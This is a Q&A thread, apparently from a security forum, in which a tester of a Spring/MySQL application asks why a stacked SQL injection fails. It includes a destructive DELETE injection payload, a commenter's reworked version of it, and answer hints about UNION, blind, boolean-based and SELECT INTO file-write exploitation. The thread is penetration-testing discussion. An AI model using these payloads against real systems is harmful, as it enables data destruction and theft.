2

I'm black-box testing an application which uses java spring framework and MySQL in the back-end.

When I insert a single quote (') in a text box field, the server returns a HTTP status code 500 Internal server error with the below error stack trace,

org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];

So it's absolutely a SQL Injection.

And because of that, I tried to delete a row in another table which sits in the same DB with the below payload:

%'); DELETE FROM p_test WHERE t_id=1#

which will in-turn change the query as:

select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10

Now a row must get deleted in the table p_test with t_id = 1, but it returns the HTTP status code 500 with below stack trace,

[http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver - doResolveException going to resolve the following exception : org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1

If anyone has any idea please reply.

Improve this question
12
  • Why are you trying something so destructive like a DELETE and not something more interesting? Alternatively, try to incorporate remaining code in your statement with something like %'); DELETE FROM p_test WHERE t_id=1 AND ('' LIKE '.
    – Gumbo
    Jun 13, 2014 at 11:13
  • Aren't comments in MySQL done by -- instead of #?
    – Qeole
    Jun 13, 2014 at 11:22
  • @Qeole MySQL has both comment styles.
    – Gumbo
    Jun 13, 2014 at 11:30
  • @Gumbo Could you explain why you have added AND ('' LIKE ' at the end of statement?
    – william cage
    Jun 13, 2014 at 11:36
  • @williamcage To include the remaining code into the statement without using any comments. So the resulting DELETE would look like DELETE FROM p_test WHERE t_id=1 AND ('' LIKE '%') LIMIT 0,10, which is a completely valid statement and ('' LIKE '%') is always true.
    – Gumbo
    Jun 13, 2014 at 11:38

1 Answer 1

Reset to default
3

The MySQL client library doesn't allow multiple stacked queries by default, so you can't execute an arbitrary statement with this injection alone.

This is a handy mitigation against simple automated attacks, but with knowledge of the specific application there is still a lot you can do with a select injection. If you get to see the output of the query you can UNION with another select on a table you want to know about (otherwise see 'blind injection' for more tedious techniques to get that data out). If you have SELECT INTO permissions you can cause some real damage (arbitrary file write possibly escalating to executing arbitrary code).

Improve this answer
6
  • +1, another good example of SQL Injection that isn't protected by eliminating stacking is modification of the WHERE clause. This can often allow you to log in as any user or delete entire tables to name a few things.
    – Abe Miessler
    Jun 13, 2014 at 14:50
  • MySQL doesn’t support multiple statements by default but they can be enabled during connection with mysql_real_connect.
    – Gumbo
    Jun 13, 2014 at 15:56
  • @bobince I tried using UNION with another select.
    – william cage
    Jun 16, 2014 at 15:58
  • @bobince But the tricky part is if I use comma somewhere in the query the whole grammar of actual query gets changed
    – william cage
    Jun 16, 2014 at 15:59
  • @williamcage You can still use the boolean-based exploitation technique.
    – Gumbo
    Jun 17, 2014 at 11:37

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .